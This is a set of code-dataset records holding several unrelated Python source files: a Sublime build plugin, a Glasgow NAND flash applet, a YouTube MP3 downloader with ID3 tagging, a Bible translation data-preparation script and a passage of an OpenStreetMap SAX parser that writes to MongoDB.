self.outputPane.size() \n <= visibleRegion.end())\n\n edit = self.outputPane.begin_edit()\n self.outputPane.insert(edit, self.outputPane.size(), cat)\n self.outputPane.end_edit(edit)\n \n if shouldKeepInView:\n self.outputPane.show(self.outputPane.size())\n\n sublime.set_timeout(realPrint, 0)\n\n\nclass ContextBuildPlugin(sublime_plugin.WindowCommand):\n def hasLastBuild(self):\n return self.build.hasBuilt\n\n\n @property\n def build(self):\n wid = self.window.id()\n build = Build.byWindow.get(wid)\n if build is None:\n build = Build.byWindow[wid] = Build(self.window)\n return build\n\n\nclass ContextBuildCurrentCommand(ContextBuildPlugin):\n def run(self):\n self.build.setupTests(paths = [\n self.window.active_view().file_name() ])\n self.build.run()\n\n\n def is_enabled(self):\n return True\n\n\nclass ContextBuildSelectedCommand(ContextBuildPlugin):\n def run(self, paths = []):\n self.build.setupTests(paths = paths)\n self.build.run()\n\n\n def is_enabled(self):\n return True\n\n\nclass ContextBuildSelectionCommand(ContextBuildPlugin):\n def run(self):\n view = self.window.active_view()\n viewText = view.substr(sublime.Region(0, view.size()))\n regions = view.sel()\n tests = {}\n filePath = view.file_name()\n runner = self.build.getRunnerForPath(filePath)\n for reg in regions:\n newTests = runner.getTestsFromRegion(viewText, reg.a, reg.b)\n if not newTests:\n continue\n tests.setdefault(filePath, []).extend(newTests)\n\n self.build.setupTests(tests = tests)\n self.build.run()\n\n\nclass ContextBuildLastCommand(ContextBuildPlugin):\n def run(self):\n self.build.run()\n\n\n def is_enabled(self):\n return self.hasLastBuild()\n\n\nclass ContextBuildFailuresCommand(ContextBuildPlugin):\n def run(self):\n self.build.useFailures()\n self.build.run()\n\n def is_enabled(self):\n return self.hasLastBuild()\n\n\nclass ContextBuildStopCommand(ContextBuildPlugin):\n def run(self):\n self.build.abort()\n\n\n def is_enabled(self):\n return self.hasLastBuild() and self.build.thread\n\n\nclass ContextBuildViewClosedEvent(sublime_plugin.EventListener):\n def on_close(self, view):\n Build.abortBuildForView(view.id())\n","sub_path":"ContextBuild.py","file_name":"ContextBuild.py","file_ext":"py","file_size_in_byte":8753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"547149592","text":"import argparse\nimport logging\nimport asyncio\nimport struct\nfrom migen import *\nfrom migen.genlib.fsm import *\n\nfrom . import *\nfrom ..database.jedec import *\nfrom ..pyrepl import *\n\n\nCMD_CONTROL = 0x01\nBIT_CE = 0x01\nBIT_CLE = 0x02\nBIT_ALE = 0x04\nCMD_WRITE = 0x02\nCMD_READ = 0x03\nCMD_WAIT = 0x04\n\n\nclass ONFIBus(Module):\n def __init__(self, pads):\n self.doe = Signal()\n self.do = Signal.like(pads.io_t.o)\n self.di = Signal.like(pads.io_t.i)\n self.ce = Signal()\n self.cle = Signal()\n self.ale = Signal()\n self.re = Signal()\n self.we = Signal()\n self.rdy = Signal()\n\n ###\n\n self.comb += [\n pads.io_t.oe.eq(self.doe),\n pads.io_t.o.eq(self.do),\n self.di.eq(pads.io_t.i),\n pads.ce_t.oe.eq(1),\n pads.ce_t.o.eq(~self.ce),\n pads.cle_t.oe.eq(1),\n pads.cle_t.o.eq(self.cle),\n pads.ale_t.oe.eq(1),\n pads.ale_t.o.eq(self.ale),\n pads.re_t.oe.eq(1),\n pads.re_t.o.eq(~self.re),\n pads.we_t.oe.eq(1),\n pads.we_t.o.eq(~self.we),\n self.rdy.eq(pads.r_b_t.i),\n ]\n\n\nclass ONFISubtarget(Module):\n def __init__(self, pads, in_fifo, out_fifo):\n self.submodules.bus = bus = ONFIBus(pads)\n\n ###\n\n command = Signal(8)\n control = Signal(3)\n length = Signal(16)\n\n wait_cyc = 2 # revB needs at least two wait states for reliable reads\n timer = Signal(max=wait_cyc + 2, reset=wait_cyc)\n\n self.submodules.fsm = FSM(reset_state=\"RECV-COMMAND\")\n self.fsm.act(\"RECV-COMMAND\",\n NextValue(bus.doe, 0),\n If(out_fifo.readable,\n out_fifo.re.eq(1),\n NextValue(command, out_fifo.dout),\n If(out_fifo.dout == CMD_CONTROL,\n NextState(\"RECV-CONTROL\")\n ).Elif((out_fifo.dout == CMD_READ) | (out_fifo.dout == CMD_WRITE),\n NextState(\"RECV-LENGTH-1\")\n ).Elif((out_fifo.dout == CMD_WAIT),\n NextState(\"ONFI-SETUP\")\n )\n )\n )\n self.fsm.act(\"RECV-CONTROL\",\n If(out_fifo.readable,\n out_fifo.re.eq(1),\n NextValue(control, out_fifo.dout),\n NextState(\"ONFI-SETUP\")\n )\n )\n self.fsm.act(\"RECV-LENGTH-1\",\n If(out_fifo.readable,\n out_fifo.re.eq(1),\n NextValue(length[0:8], out_fifo.dout),\n NextState(\"RECV-LENGTH-2\")\n )\n )\n self.fsm.act(\"RECV-LENGTH-2\",\n If(out_fifo.readable,\n out_fifo.re.eq(1),\n NextValue(length[8:16], out_fifo.dout),\n NextState(\"ONFI-SETUP\")\n )\n )\n self.fsm.act(\"ONFI-SETUP\",\n If(timer != 0,\n NextValue(timer, timer - 1),\n ).Else(\n NextValue(timer, wait_cyc),\n If(command == CMD_CONTROL,\n NextValue(bus.ce, (control & BIT_CE) != 0),\n NextValue(bus.cle, (control & BIT_CLE) != 0),\n NextValue(bus.ale, (control & BIT_ALE) != 0),\n NextState(\"RECV-COMMAND\")\n ).Elif(command == CMD_WRITE,\n If(length == 0,\n NextState(\"RECV-COMMAND\")\n ).Else(\n NextState(\"RECV-DATA\")\n )\n ).Elif(command == CMD_READ,\n If(length == 0,\n NextState(\"RECV-COMMAND\")\n ).Else(\n NextValue(bus.re, 1),\n NextState(\"ONFI-READ-HOLD\")\n )\n ).Elif(command == CMD_WAIT,\n If(bus.rdy,\n NextState(\"RECV-COMMAND\")\n )\n )\n )\n )\n self.fsm.act(\"RECV-DATA\",\n If(out_fifo.readable,\n out_fifo.re.eq(1),\n NextValue(bus.do, out_fifo.dout),\n NextValue(bus.we, 1),\n NextState(\"ONFI-WRITE-HOLD\")\n )\n )\n self.fsm.act(\"ONFI-WRITE-HOLD\",\n NextValue(bus.doe, 1),\n If(timer != 0,\n NextValue(timer, timer - 1),\n ).Else(\n NextValue(bus.we, 0),\n NextValue(timer, wait_cyc),\n NextValue(length, length - 1),\n NextState(\"ONFI-SETUP\")\n )\n )\n self.fsm.act(\"ONFI-READ-HOLD\",\n NextValue(bus.doe, 0),\n If(timer != 0,\n NextValue(timer, timer - 1),\n ).Else(\n NextValue(bus.re, 0),\n NextValue(in_fifo.din, bus.di),\n NextValue(timer, wait_cyc),\n NextState(\"SEND-DATA\")\n )\n )\n self.fsm.act(\"SEND-DATA\",\n If(in_fifo.writable,\n in_fifo.we.eq(1),\n NextValue(length, length - 1),\n NextState(\"ONFI-SETUP\")\n )\n )\n\n\nBIT_STATUS_FAIL = 1 << 0\nBIT_STATUS_FAIL_PREV = 1 << 1\nBIT_STATUS_CACHE_READY = 1 << 5\nBIT_STATUS_READY = 1 << 6\nBIT_STATUS_WRITE_PROT = 1 << 7\n\n\nclass ONFIInterface:\n def __init__(self, interface, logger):\n self.lower = interface\n self._logger = logger\n self._level = logging.DEBUG if self._logger.name == __name__ else logging.TRACE\n\n def _log(self, message, *args):\n self._logger.log(self._level, \"ONFI: \" + message, *args)\n\n async def _control(self, bits):\n await self.lower.write(struct.pack(\" 0:\n self._log(\"command=%#04x address=<%s>\", command, address.hex())\n else:\n self._log(\"command=%#04x\", command)\n await self._control(BIT_CE|BIT_CLE)\n await self._write([command])\n if len(address) > 0:\n await self._control(BIT_CE|BIT_ALE)\n await self._write(address)\n await self._control(BIT_CE)\n if wait:\n self._log(\"r/b wait\")\n await self._wait()\n\n async def _do_write(self, command, address=[], wait=False, data=[]):\n data = bytes(data)\n await self._do(command, address, wait)\n self._log(\"write data=<%s>\", data.hex())\n await self._write(data)\n\n async def _do_read(self, command, address=[], wait=False, length=0):\n await self._do(command, address, wait)\n await self._read(length)\n data = await self.lower.read(length)\n self._log(\"read data=<%s>\", data.hex())\n return data\n\n async def reset(self):\n self._log(\"reset\")\n await self._do(command=0xff)\n await self.lower.flush()\n await asyncio.sleep(0.001) # tRST=1000us\n\n async def _read_id(self, address, length):\n self._log(\"read ID addr=%#04x\", address)\n return await self._do_read(command=0x90, address=[address], length=length)\n\n async def read_signature(self):\n return await self._read_id(address=0x20, length=4)\n\n async def read_jedec_id(self):\n manufacturer_id, device_id = await self._read_id(address=0x00, length=2)\n return manufacturer_id, device_id\n\n async def read_status(self):\n self._log(\"read status\")\n status, = await self._do_read(command=0x70, length=1)\n return status\n\n async def is_write_protected(self):\n return (await self.read_status() & BIT_STATUS_WRITE_PROT) == 0\n\n async def read_parameter_page(self):\n self._log(\"read parameter page\")\n return await self._do_read(command=0xEC, address=[0x00], wait=True, length=512)\n\n async def read_unique_id(self):\n self._log(\"read unique ID\")\n return await self._do_read(command=0xED, address=[0x00], wait=True, length=32)\n\n async def read(self, row, column, length):\n self._log(\"read row=%#08x column=%#06x\", row, column)\n await self._do(command=0x00, address=[\n (column >> 0) & 0xff,\n (column >> 8) & 0xff,\n (row >> 0) & 0xff,\n (row >> 8) & 0xff,\n (row >> 16) & 0xff,\n ])\n return await self._do_read(command=0x30, wait=True, length=length)\n\n async def program(self, row, chunks):\n self._log(\"program row=%#08x\", row)\n await self._do_write(command=0x80, address=[\n 0,\n 0,\n (row >> 0) & 0xff,\n (row >> 8) & 0xff,\n (row >> 16) & 0xff,\n ])\n\n for (column, data) in chunks:\n data = bytes(data)\n self._log(\"column=%#06x data=<%s>\", column, data.hex())\n await self._do_write(command=0x85, address=[\n (column >> 0) & 0xff,\n (column >> 8) & 0xff,\n ], data=data)\n\n await self._do(command=0x10, wait=True)\n return (await self.read_status() & BIT_STATUS_FAIL) == 0\n\n async def erase(self, row):\n self._log(\"erase row=%#08x\", row)\n await self._do(command=0x60, address=[\n (row >> 0) & 0xff,\n (row >> 8) & 0xff,\n (row >> 16) & 0xff,\n ])\n await self._do(command=0xD0, wait=True)\n return (await self.read_status() & BIT_STATUS_FAIL) == 0\n\n\nclass NANDFlashApplet(GlasgowApplet, name=\"nand-flash\"):\n logger = logging.getLogger(__name__)\n help = \"read and write ONFI-like NAND Flash memories\"\n description = \"\"\"\n Identify, read and write various NAND Flash memories. The applet roughly follows the ONFI 1.0\n specification, but tolerates the very common non-ONFI-compliant memories by gracefully\n degrading autodetection of memory functionality.\n\n Only the asynchronous NAND interface is supported. An external pullup is necessary on\n the R/B# pin.\n\n The NAND Flash command set is not standardized in practice. This applet uses the following\n commands when identifying the memory:\n\n * Cmd 0xFF: Reset (all devices)\n * Cmd 0x90 Addr 0x00: Read ID, JEDEC Manufacturer and Device (all devices)\n * Cmd 0x90 Addr 0x20: Read ID, ONFI Signature (ONFI and some non-ONFI devices)\n * Cmd 0xEC: Read Parameter Page (ONFI only)\n\n If the memory doesn't respond or gives invalid response to ONFI commands, it can still be\n used, but the array parameters need to be specified explicitly.\n\n The applet use the following commands while reading and writing data:\n\n * Cmd 0x70: Read Status (all devices)\n * Cmd 0x00 Addr Col1..2,Row1..3 Cmd 0x30: Read (all devices)\n * Cmd 0x60 Addr Row1..3 Cmd 0xD0: Erase (all devices)\n * Cmd 0x80 Addr Col1..2,Row1..3 [Cmd 0x85 Col1..2]+ Cmd 0x10: Page Program (all devices)\n \"\"\"\n pin_sets = (\"io\",)\n pins = (\"ce\", \"cle\", \"ale\", \"re\", \"we\", \"r_b\")\n\n @classmethod\n def add_build_arguments(cls, parser, access):\n access.add_build_arguments(parser)\n access.add_pin_set_argument(parser, \"io\", 8, default=True)\n for pin in cls.pins:\n access.add_pin_argument(parser, pin, default=True)\n\n def build(self, target, args):\n self.mux_interface = iface = target.multiplexer.claim_interface(self, args)\n iface.add_subtarget(ONFISubtarget(\n pads=iface.get_pads(args, pin_sets=self.pin_sets, pins=self.pins),\n in_fifo=iface.get_in_fifo(),\n out_fifo=iface.get_out_fifo(),\n ))\n\n async def run(self, device, args):\n iface = await device.demultiplexer.claim_interface(self, self.mux_interface, args)\n return ONFIInterface(iface, self.logger)\n\n @classmethod\n def add_interact_arguments(cls, parser):\n def size(arg):\n return int(arg, 0)\n def address(arg):\n return int(arg, 0)\n def count(arg):\n return int(arg, 0)\n\n parser.add_argument(\n \"-P\", \"--page-size\", metavar=\"SIZE\", type=size,\n help=\"Flash page (without spare) size, in bytes (default: autodetect)\")\n parser.add_argument(\n \"-S\", \"--spare-size\", metavar=\"SIZE\", type=size,\n help=\"Flash spare size, in bytes (default: autodetect)\")\n parser.add_argument(\n \"-B\", \"--block-size\", metavar=\"SIZE\", type=size,\n help=\"Flash block size, in pages (default: autodetect)\")\n\n p_operation = parser.add_subparsers(dest=\"operation\", metavar=\"OPERATION\")\n\n p_read = p_operation.add_parser(\n \"read\", help=\"read data and spare contents for a page range\")\n p_read.add_argument(\n \"start_page\", metavar=\"PAGE\", type=address,\n help=\"read starting at page PAGE\")\n p_read.add_argument(\n \"count\", metavar=\"COUNT\", type=count,\n help=\"read COUNT pages\")\n p_read.add_argument(\n \"data_file\", metavar=\"DATA-FILE\", type=argparse.FileType(\"wb\"),\n help=\"write bytes from data area to DATA-FILE\")\n p_read.add_argument(\n \"spare_file\", metavar=\"SPARE-FILE\", type=argparse.FileType(\"wb\"),\n help=\"write bytes from spare area to SPARE-FILE\")\n\n p_program = p_operation.add_parser(\n \"program\", help=\"program data and spare contents for a page range\")\n p_program.add_argument(\n \"start_page\", metavar=\"PAGE\", type=address,\n help=\"program starting at page PAGE\")\n p_program.add_argument(\n \"count\", metavar=\"COUNT\", type=count,\n help=\"program COUNT pages\")\n p_program.add_argument(\n \"data_file\", metavar=\"DATA-FILE\", type=argparse.FileType(\"rb\"),\n help=\"program bytes to data area from DATA-FILE\")\n p_program.add_argument(\n \"spare_file\", metavar=\"SPARE-FILE\", type=argparse.FileType(\"rb\"),\n help=\"program bytes to spare area from SPARE-FILE\")\n\n p_erase = p_operation.add_parser(\n \"erase\", help=\"erase any blocks containing a page range\")\n p_erase.add_argument(\n \"start_page\", metavar=\"PAGE\", type=address,\n help=\"erase starting at block containing page PAGE\")\n p_erase.add_argument(\n \"count\", metavar=\"COUNT\", type=count, nargs=\"?\", default=1,\n help=\"erase blocks containing the next COUNT pages\")\n\n p_operation.add_parser(\n \"repl\", help=\"drop into Python shell; use `nand_iface` to communicate\")\n\n async def interact(self, device, args, nand_iface):\n manufacturer_id, device_id = await nand_iface.read_jedec_id()\n if manufacturer_id in (0x00, 0xff):\n self.logger.error(\"JEDEC identification not present\")\n return\n\n manufacturer_name = jedec_manufacturer_name([manufacturer_id]) or \"unknown\"\n self.logger.info(\"JEDEC manufacturer %#04x (%s) device %#04x\",\n manufacturer_id, manufacturer_name, device_id)\n\n page_size = args.page_size\n spare_size = args.spare_size\n block_size = args.block_size\n if await nand_iface.read_signature() == b\"ONFI\":\n parameter_page = await nand_iface.read_parameter_page()\n if parameter_page[0:4] == b\"ONFI\":\n # I don't actually have any *actually valid* ONFI flashes yet,\n # so this isn't implemented or tested. Sigh. Cursed.\n pass\n else:\n self.logger.warning(\"ONFI signature present, but parameter page missing\")\n else:\n self.logger.warning(\"ONFI signature not present\")\n\n if None in (args.page_size, args.block_size, args.spare_size):\n self.logger.error(\"your cursed device doesn't support ONFI properly\")\n self.logger.error(\"in the future, avoid angering witches\")\n self.logger.error(\"meanwhile, configure the Flash array parameters explicitly via \"\n \"--page-size, --spare-size and --block-size\")\n return\n\n if args.operation in (\"program\", \"erase\"):\n if await nand_iface.is_write_protected():\n self.logger.error(\"device is write-protected\")\n return\n\n if args.operation == \"read\":\n row = args.start_page\n count = args.count\n while count > 0:\n self.logger.info(\"reading page (row) %d\", row)\n chunk = await nand_iface.read(column=0, row=row, length=page_size + spare_size)\n\n args.data_file.write(chunk[:page_size])\n args.data_file.flush()\n args.spare_file.write(chunk[-spare_size:])\n args.spare_file.flush()\n\n row += 1\n count -= 1\n\n if args.operation == \"program\":\n row = args.start_page\n count = args.count\n while count > 0:\n data = args.data_file.read(page_size)\n spare = args.spare_file.read(spare_size)\n\n self.logger.info(\"programming page (row) %d\", row)\n if not await nand_iface.program(row=row, chunks=[(0, data), (page_size, spare)]):\n self.logger.error(\"failed to program page (row) %d\", row)\n\n row += 1\n count -= 1\n\n if args.operation == \"erase\":\n row = args.start_page\n count = args.count\n while count > 0:\n self.logger.info(\"erasing block %d (row %d)\", row // block_size, row)\n if not await nand_iface.erase(row=row):\n self.logger.error(\"failed to erase block %d (row %d)\", row // block_size, row)\n\n row += block_size\n count -= block_size\n\n if args.operation == \"repl\":\n await AsyncInteractiveConsole(locals={\"nand_iface\":nand_iface}).interact()\n\n# -------------------------------------------------------------------------------------------------\n\nclass NANDFlashAppletTestCase(GlasgowAppletTestCase, applet=NANDFlashApplet):\n @synthesis_test\n def test_build(self):\n self.assertBuilds(args=[\"--port\", \"AB\"])\n","sub_path":"software/glasgow/applet/nand_flash.py","file_name":"nand_flash.py","file_ext":"py","file_size_in_byte":18615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238974415","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nfrom os import system, rename, listdir, curdir, name\nfrom sys import version_info, stdin, platform\nfrom collections import OrderedDict\nfrom select import select\nfrom time import sleep\n\nimport re\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\nimport youtube_dl\n\nfrom mutagen.mp3 import MP3\nfrom mutagen.id3 import ID3, TIT2, TALB, TPE1, TPE2, APIC, USLT\n\n\nif version_info[0] < 3:\n input = raw_input\n from urllib2 import urlopen, Request\n from urllib2 import quote\nelse:\n from urllib.parse import quote\n from urllib.request import urlopen, Request\n\nif name == 'nt':\n class bcolors:\n HEADER = ''\n OKBLUE = ''\n OKGREEN = ''\n WARNING = ''\n FAIL = ''\n ENDC = ''\n BOLD = ''\n UNDERLINE = ''\n GRAY = ''\n YELLOW = ''\n\n tick = ''\n\n\nelse:\n class bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[32m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n GRAY = '\\033[30m'\n YELLOW = '\\033[33m'\n\n tick = u'\\u2713'\n\n\n\ndef getURL(songInput):\n\n print(bcolors.YELLOW)\n print('\\n')\n\n YoutubeList = OrderedDict()\n num = 0 # List of songs index\n songInput = songInput.replace(' ', '+')\n songInput = 'https://www.youtube.com/results?search_query=' + songInput\n html = requests.get(songInput)\n soup = BeautifulSoup(html.text, 'html.parser')\n\n YoutubeClass = 'spf-prefetch' # YouTube Class holding video\n\n # In all Youtube Search Results\n for i in soup.findAll('a', {'rel': YoutubeClass}):\n songURL = 'https://www.youtube.com' + (i.get('href'))\n songTitle = (i.get('title'))\n # Adds title and song url to dictionary\n YoutubeList.update({songTitle: songURL})\n\n print('(%s) %s' % (str(num + 1), songTitle)) # Prints list\n\n num = num + 1\n\n # Gets the demanded song title and url\n songURL, songTitle = prompt(YoutubeList)\n\n print(bcolors.ENDC)\n\n return songURL, songTitle # Returns Name of Song and URL of Music Video\n\n\ndef prompt(YoutubeList):\n\n x = int(input('\\nEnter song number > '))\n x = x - 1\n songURL = list(YoutubeList.values())[x]\n songTitle = list(YoutubeList.keys())[x]\n system('clear')\n print('Download Song: ', end=' ')\n print(songTitle, end=' ')\n print(bcolors.UNDERLINE)\n print('Y/N?')\n print(bcolors.ENDC)\n x = input('>')\n if x == 'Y' or x == 'y':\n pass\n elif x == 'N' or x == 'n':\n exit()\n else:\n print('Invalid input')\n exit()\n\n return songURL, songTitle\n\n\ndef downloadSong(songURL, songTitle):\n\n FileName = None\n\n print(bcolors.ENDC)\n\n ydl_opts = {\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n }],\n }\n\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download([songURL]) # Downloads audio using youtube-dl\n\n try:\n\n files = listdir(curdir)\n for songs in files:\n re_found = re.match(re.escape(songTitle) +\n r'.*\\.mp3$', songs, re.UNICODE)\n if re_found:\n FileName = re_found.group()\n break\n\n if FileName != None:\n rename(FileName, songTitle + '.mp3') # Renames file to song title\n else:\n FileName = (songTitle + '-' + songURL[32:] + '.mp3')\n rename(FileName, songTitle + '.mp3')\n except Exception as e:\n print(bcolors.FAIL)\n print(\"Could not rename the file : %s\" % e)\n print(bcolors.ENDC)\n pass\n\n\ndef getDetails(songName):\n\n print(bcolors.FAIL)\n timeout = 10\n songName = songName.replace(' ', '+')\n url = \"http://search.letssingit.com/cgi-exe/am.cgi?a=search&artist_id=&l=archive&s=\" + songName\n html = requests.get(url)\n soup = BeautifulSoup(html.text, \"html.parser\")\n link = soup.find('a', {'class': 'high_profile'})\n try:\n link = link.get('href')\n link = requests.get(link)\n\n soup = BeautifulSoup(link.text, \"html.parser\")\n\n AlbumDiv = soup.find('div', {'id': 'albums'})\n TitleDiv = soup.find('div', {'id': 'content_artist'}).find('h1')\n try:\n lyrics = soup.find('div', {'id': 'lyrics'}).text\n lyrics = lyrics[3:]\n except:\n lyrics = \"Couldn't find lyrics\"\n\n try:\n songTitle = TitleDiv.contents[0]\n songTitle = songTitle[1:-8]\n except Exception as e:\n print(\"Couldn't reset song title : %s\" % e, end=' ')\n songTitle = songName\n\n try:\n artist = TitleDiv.contents[1].getText()\n except Exception as e:\n print(\"Couldn't find artist name : %s\" % e, end=' ')\n artist = \"Unknown\"\n\n try:\n album = AlbumDiv.find('a').contents[0]\n album = album[:-7]\n except Exception as e:\n print(\"Couldn't find the album name : %s\" % e, end=' ')\n album = artist\n\n except Exception:\n check = 'n\\n'\n print(\n \"Couldn't find song details, would you like to manually enter them? (Y/N) : \")\n rlist, _, _ = select([stdin], [], [], 10)\n if rlist:\n check = stdin.readline()\n else:\n print(\"No input. Moving on.\")\n album = songName\n songTitle = songName\n artist = \"Unknown\"\n\n print(bcolors.ENDC)\n\n return artist, album, songTitle\n\n if check == 'Y\\n' or check == 'y\\n':\n\n album = input(\"Enter album name : \")\n songTitle = input(\"Enter song title : \")\n artist = input(\"Enter song artist : \")\n\n else:\n album = songName\n songTitle = songName\n artist = \"Unknown\"\n\n print(bcolors.ENDC)\n\n return artist, album, songTitle, lyrics\n\n\ndef getAlbumArt(album):\n\n print(bcolors.OKGREEN)\n print(\"\\nFetching Album Art..\")\n print(bcolors.ENDC)\n\n album = album + \" Album Art\"\n album = album.replace(' ', '+')\n\n url = (\"https://www.google.co.in/search?q=\" +\n quote(album.encode('utf-8')) + \"&source=lnms&tbm=isch\")\n header = {'User-Agent':\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36\"\n }\n\n soup = BeautifulSoup(urlopen(Request(url, headers=header)), \"html.parser\")\n\n a = soup.find(\"div\", {\"class\": \"rg_meta\"})\n albumArt = json.loads(a.text)[\"ou\"]\n return albumArt\n\n\ndef add_AlbumArt(albumArt, songTitle):\n try:\n img = urlopen(albumArt) # Gets album art from url\n except:\n print(\"Could not add album art\")\n try:\n audio = MP3(songTitle, ID3=ID3)\n try:\n audio.add_tags()\n except Exception:\n pass\n\n audio.tags.add(\n APIC(\n encoding=3, # UTF-8\n mime='image/png',\n type=3, # 3 is for album art\n desc='Cover',\n data=img.read() # Reads and adds album art\n )\n )\n audio.save()\n\n except Exception as e:\n print(bcolors.FAIL)\n print(\"An Error occured while adding the album art : %s \" % e)\n print(bcolors.ENDC)\n pass\n\n\ndef add_Details(FileName, songTitle, artist, album, lyrics):\n\n print(bcolors.OKGREEN)\n print(\"\\n\\nAdding Details..\")\n print(bcolors.ENDC)\n print(\" \\n\\nLyrics :\\n%s \\n\\nSong name : %s \\n\\nArtist : %s \\n\\nAlbum : %s \\n\\n \" % (\n lyrics, songTitle, artist, album))\n\n try:\n tags = ID3(FileName)\n tags[\"TALB\"] = TALB(encoding=3, text=album)\n tags[\"TIT2\"] = TIT2(encoding=3, text=songTitle)\n tags[\"TPE1\"] = TPE1(encoding=3, text=\"\")\n tags[\"TPE2\"] = TPE2(encoding=3, text=artist)\n tags[\"USLT::'eng'\"] = (\n USLT(encoding=3, lang=u'eng', desc=u'desc', text=lyrics))\n\n tags.save(FileName)\n\n except Exception as e:\n print(bcolors.FAIL)\n print(\"Couldn't add song details : %s\" % e)\n print(bcolors.ENDC)\n pass\n\n try:\n rename(FileName, songTitle + '.mp3')\n except:\n pass\n\n\ndef singleMode():\n\n print(bcolors.HEADER)\n query = input('Enter Song Name : ')\n print(bcolors.ENDC)\n\n songURL, FileName = getURL(query) # Gets YT url\n\n print(bcolors.GRAY)\n downloadSong(songURL, FileName) # Saves as .mp3 file\n print(bcolors.ENDC)\n\n artist, album, songName, lyrics = getDetails(FileName)\n albumArt = getAlbumArt(album) # Gets album art\n\n FileName = FileName + '.mp3'\n\n add_AlbumArt(albumArt, FileName)\n add_Details(FileName, songName, artist, album, lyrics)\n\n print(bcolors.OKBLUE)\n print(\"%s Successfully downloaded : %s \" % (tick, songName))\n print(bcolors.ENDC)\n\n\nsystem('clear')\n#singleMode()\n","sub_path":"musicnow/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"20560511","text":"import pandas as pd\nimport pickle\nfrom Tokenization_for_Translation import Corpus\n\n#!!!!!!!!NOT FUNCTIONAL!!!!!!!\n\n#read in files\n\nGerman_path = './Data/German_Bible.txt'\nEnglish_path = './Data/Bible.txt'\n\nGerman_file = open(German_path, 'rb')\nEnglish_file = open(English_path, 'rb')\n\nGerman_text = German_file.read()\nEnglish_text = English_file.read()\n\nGerman_text = German_text.decode('utf-8', 'replace')\nEnglish_text = English_text.decode('utf-8', 'replace')\n\nEnglish_text = English_text.replace('\\r\\n\\r\\n\\r\\n', '#ENDCHAP')\nEnglish_text = English_text.replace('\\r\\n', ' ')\n\nGerman_list = German_text.split('\\r\\n')\n\nfor k in range(len(German_list)):\n German_list[k] = German_list[k][German_list[k].find(' ')+1:]\n\nEnglish_list = []\nbad_list=[]\n\nfor k in range(len(German_list)):\n #Find verse number and crop it off from German text\n split_verse = German_list[k].split(' ', 1)\n verse_num = split_verse[0]\n German_list[k] = split_verse[1]\n\n #find verse number in English text:\n eng_ind = English_text.find(verse_num)\n eng_stop = English_text.find('#ENDCHAP')\n\n if eng_ind > 1500:\n bad_list.append(k)\n continue\n\n if eng_stop == -1:\n eng_stop = float('inf')\n\n #append words between last verse and this verse/chapter end\n if k > 0:\n English_list.append(English_text[ : min(eng_stop, eng_ind)])\n\n #crop text\n English_text = English_text[eng_ind + len(verse_num) + 1:]\n\n#drop bad verses\n\n\n#add the last verse:\nEnglish_list.append(English_text)\n\n\n\n\n\n\n","sub_path":"Translator/Prepare_Bible_Data.py","file_name":"Prepare_Bible_Data.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"520427579","text":"from xml.sax import make_parser, handler\nfrom pymongo import MongoClient\nfrom pprint import pprint\nimport json\nimport bson\nfrom bson.codec_options import CodecOptions\nclass NodeRepository:\n def __init__(self):\n self.nodes = {}\n\n def addNode(self, nodeId, snode):\n self.nodes[nodeId] = snode\n\n def getNode(self, nodeId):\n return self.nodes[nodeId]\nclass OSMNode:\n def __init__(self, attrs=[]):\n self.osm_type = \"node\"\n self.id = attrs[\"id\"]\n self.lat = attrs[\"lat\"]\n self.lon = attrs[\"lon\"]\n self.tags = []\n #self.tags = {}\n\n def addTag(self, tag):\n #pass\n self.tags.append(tag)\n #def addTag(self, key, value):\n # self.tags[key] = value\n\n\nclass OSMSNode:\n def __init__(self, osmnode):\n self.lon = osmnode.lon\n self.lat = osmnode.lat\n\nclass OSMRelation:\n def __init__(self, attrs=[]):\n self.osm_type = \"relation\"\n self.id = attrs[\"id\"]\n self.tags = []\n self.members = []\n\n def addMember(self,member):\n self.members.append(member)\n\n def addTag(self, tag):\n self.tags.append(tag)\n\nclass OSMWay:\n def __init__(self, attrs):\n self.osm_type = \"way\"\n self.id = attrs[\"id\"]\n self.nds = []\n self.tags = []\n\n def addNd(self, nd):\n self.nds.append(nd)\n\n def addTag(self, tag):\n self.tags.append(tag)\n\n\nclass OSMTag:\n def __init__(self, attrs=[]):\n self.k = attrs[\"k\"]\n self.v = attrs[\"v\"]\n\nclass OSMNd:\n def __init__(self, attrs=[]):\n self.ref = attrs[\"ref\"]\n\nclass OSMMember:\n def __init__(self, attrs=[]):\n self.type = attrs[\"type\"]\n self.ref = attrs[\"ref\"]\n\nclass OSMSax(handler.ContentHandler):\n def __init__(self, db):\n self.db = db\n self.node_repo = NodeRepository()\n\n def startElement(self, name, attrs):\n if (name == \"node\"):\n self.currentElement = OSMNode(attrs)\n if (name == \"way\"):\n self.currentElement = OSMWay(attrs)\n if (name == \"tag\"):\n tag = OSMTag(attrs)\n self.currentElement.addTag(tag)\n if ( tag.k == \"building\"):\n self.currentType = \"building\"\n if ( tag.k == \"highway\"):\n self.currentType = \"highway\"\n if ( tag.k == \"waterway\"):\n self.currentType = \"waterway\"\n if ( tag.k == \"landuse\"):\n self.currentType = \"landuse\"\n if (name == \"nd\"):\n nd = OSMNd(attrs)\n snd = self.node_repo.getNode(nd.ref)\n self.currentElement.addNd(snd)\n\n def endElement(self, name):\n if (name == \"node\"):\n snode = OSMSNode(self.currentElement)\n 